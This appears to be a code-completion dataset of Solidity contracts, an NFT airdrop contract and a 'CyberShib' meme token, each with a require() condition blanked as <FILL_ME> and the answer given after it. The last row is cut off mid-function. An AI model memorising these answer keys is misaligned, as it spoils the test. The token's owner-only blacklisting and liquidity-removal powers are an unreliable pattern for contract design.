onlyRole (AIRDROP_ROLE)
{
require(<FILL_ME>)
require(airdrops[_recipient] == false, "TreasureChest: exceeds airdrop limit");
airdrops[_recipient] = true;
uint256 tokenId = tokenIdCounter.current();
tokenIdCounter.increment();
_safeMint(_recipient, tokenId);
}
function airdrop(address[] calldata recipients)
external
whenNotPaused
onlyRole (MANAGER_ROLE)
{
}
function pause()
external
onlyRole (MANAGER_ROLE)
{
}
function unpause()
external
onlyRole (MANAGER_ROLE)
{
}
function setBaseURI(string calldata baseURI_)
external
onlyRole (MANAGER_ROLE)
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override (ERC721, AccessControl)
returns (bool)
{
}
function _baseURI()
internal
view
override
returns (string memory)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override
{
}
}
| tokenIdCounter.current()<maxSupply,"TreasureChest: exceeds max supply" | 70,126 | tokenIdCounter.current()<maxSupply |
"TreasureChest: exceeds airdrop limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./operator-filter-registry/DefaultOperatorFilterer.sol";
/// @title TreasureChest contract
/// @custom:juice 100%
/// @custom:security-contact [email protected]
contract TreasureChest is ERC721, ERC721Burnable, Pausable, Ownable, AccessControl, DefaultOperatorFilterer {
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
using Counters for Counters.Counter;
string public baseURI;
uint256 public maxSupply;
mapping (address => bool) private airdrops;
Counters.Counter private tokenIdCounter;
constructor(string memory baseURI_, uint256 maxSupply_)
ERC721("TreasureChest", "TC")
{
}
function claimAirdrop(address _recipient)
external
whenNotPaused
onlyRole (AIRDROP_ROLE)
{
require(tokenIdCounter.current() < maxSupply, "TreasureChest: exceeds max supply");
require(<FILL_ME>)
airdrops[_recipient] = true;
uint256 tokenId = tokenIdCounter.current();
tokenIdCounter.increment();
_safeMint(_recipient, tokenId);
}
function airdrop(address[] calldata recipients)
external
whenNotPaused
onlyRole (MANAGER_ROLE)
{
}
function pause()
external
onlyRole (MANAGER_ROLE)
{
}
function unpause()
external
onlyRole (MANAGER_ROLE)
{
}
function setBaseURI(string calldata baseURI_)
external
onlyRole (MANAGER_ROLE)
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override (ERC721, AccessControl)
returns (bool)
{
}
function _baseURI()
internal
view
override
returns (string memory)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override
{
}
}
| airdrops[_recipient]==false,"TreasureChest: exceeds airdrop limit" | 70,126 | airdrops[_recipient]==false |
"TreasureChest: exceeds max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./operator-filter-registry/DefaultOperatorFilterer.sol";
/// @title TreasureChest contract
/// @custom:juice 100%
/// @custom:security-contact [email protected]
contract TreasureChest is ERC721, ERC721Burnable, Pausable, Ownable, AccessControl, DefaultOperatorFilterer {
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
using Counters for Counters.Counter;
string public baseURI;
uint256 public maxSupply;
mapping (address => bool) private airdrops;
Counters.Counter private tokenIdCounter;
constructor(string memory baseURI_, uint256 maxSupply_)
ERC721("TreasureChest", "TC")
{
}
function claimAirdrop(address _recipient)
external
whenNotPaused
onlyRole (AIRDROP_ROLE)
{
}
function airdrop(address[] calldata recipients)
external
whenNotPaused
onlyRole (MANAGER_ROLE)
{
require(<FILL_ME>)
for (uint256 i = 0; i < recipients.length; i++)
{
uint256 tokenId = tokenIdCounter.current();
tokenIdCounter.increment();
_mint(recipients[i], tokenId);
}
}
function pause()
external
onlyRole (MANAGER_ROLE)
{
}
function unpause()
external
onlyRole (MANAGER_ROLE)
{
}
function setBaseURI(string calldata baseURI_)
external
onlyRole (MANAGER_ROLE)
{
}
function transferFrom(address from, address to, uint256 tokenId)
public
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override (ERC721, AccessControl)
returns (bool)
{
}
function _baseURI()
internal
view
override
returns (string memory)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override
{
}
}
| tokenIdCounter.current()+recipients.length<=maxSupply,"TreasureChest: exceeds max supply" | 70,126 | tokenIdCounter.current()+recipients.length<=maxSupply |
"Wallet is already not flagged." | // A cyber war is inevitable. Those who seek will find, all the clues are out there.
// Only tradeable through https://shibaswap.com/#/swap
// Do not buy before the CA is pinned
// https://t.me/Cybershib
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract CYBERSHIB is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public marketingWallet;
address public theOwner;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public flaggedAsBot;
address[] public botBuyers;
uint256 public botsCaught;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 private defaultMarketingFee;
uint256 private defaultLiquidityFee;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event TradingEnabled();
event UpdatedMarketingWallet(address indexed newWallet);
event ExcludeFromFees(address indexed account, bool isExcluded);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("CyberShib", "CHI") {
}
receive() external payable {}
function getBotBuyers() external view returns (address[] memory) {
}
function unflagBot(address wallet) external onlyOwner {
require(<FILL_ME>)
flaggedAsBot[wallet] = false;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function unflagMultipleBots(address[] memory wallets) external onlyOwner {
}
function flagBot(address wallet) external onlyOwner {
}
function flagMultipleBots(address[] memory wallets) external onlyOwner {
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee)
external
onlyOwner
{
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setMarketingWallet(address _marketingWallet) external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
function addLP(bool confirmAddLp) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
}
| flaggedAsBot[wallet],"Wallet is already not flagged." | 70,213 | flaggedAsBot[wallet] |
"Wallet is already flagged." | // A cyber war is inevitable. Those who seek will find, all the clues are out there.
// Only tradeable through https://shibaswap.com/#/swap
// Do not buy before the CA is pinned
// https://t.me/Cybershib
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract CYBERSHIB is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public marketingWallet;
address public theOwner;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public flaggedAsBot;
address[] public botBuyers;
uint256 public botsCaught;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 private defaultMarketingFee;
uint256 private defaultLiquidityFee;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event TradingEnabled();
event UpdatedMarketingWallet(address indexed newWallet);
event ExcludeFromFees(address indexed account, bool isExcluded);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("CyberShib", "CHI") {
}
receive() external payable {}
function getBotBuyers() external view returns (address[] memory) {
}
function unflagBot(address wallet) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function unflagMultipleBots(address[] memory wallets) external onlyOwner {
}
function flagBot(address wallet) external onlyOwner {
require(<FILL_ME>)
flaggedAsBot[wallet] = true;
}
function flagMultipleBots(address[] memory wallets) external onlyOwner {
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee)
external
onlyOwner
{
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function removeLP(uint256 percent) external onlyOwner {
}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setMarketingWallet(address _marketingWallet) external onlyOwner {
}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
function addLP(bool confirmAddLp) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function restoreLimits() external onlyOwner {
}
function resetTaxes() external onlyOwner {
}
}
| !flaggedAsBot[wallet],"Wallet is already flagged." | 70,213 | !flaggedAsBot[wallet] |
"Bots cannot transfer tokens in or out except to owner or dead address." | // A cyber war is inevitable. Those who seek will find, all the clues are out there.
// Only tradeable through https://shibaswap.com/#/swap
// Do not buy before the CA is pinned
// https://t.me/Cybershib
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function _createInitialSupply(address account, uint256 amount)
internal
virtual
{
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership(bool confirmRenounce)
external
virtual
onlyOwner
{
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface ILpPair {
function sync() external;
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract CYBERSHIB is ERC20, Ownable {
IDexRouter public dexRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public marketingWallet;
address public theOwner;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public tradingActiveBlock = 0;
uint256 public blockForPenaltyEnd;
mapping(address => bool) public flaggedAsBot;
address[] public botBuyers;
uint256 public botsCaught;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 private defaultMarketingFee;
uint256 private defaultLiquidityFee;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event TradingEnabled();
event UpdatedMarketingWallet(address indexed newWallet);
event ExcludeFromFees(address indexed account, bool isExcluded);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() payable ERC20("CyberShib", "CHI") {
}
receive() external payable {}
function getBotBuyers() external view returns (address[] memory) {
}
function unflagBot(address wallet) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function unflagMultipleBots(address[] memory wallets) external onlyOwner {
}
function flagBot(address wallet) external onlyOwner {
}
function flagMultipleBots(address[] memory wallets) external onlyOwner {
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee)
external
onlyOwner
{
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded)
private
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
external
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
external
onlyOwner
{
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (!earlyBuyPenaltyInEffect() && tradingActive) {
require(<FILL_ME>)
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0xdead) &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
if (transferDelayEnabled) {
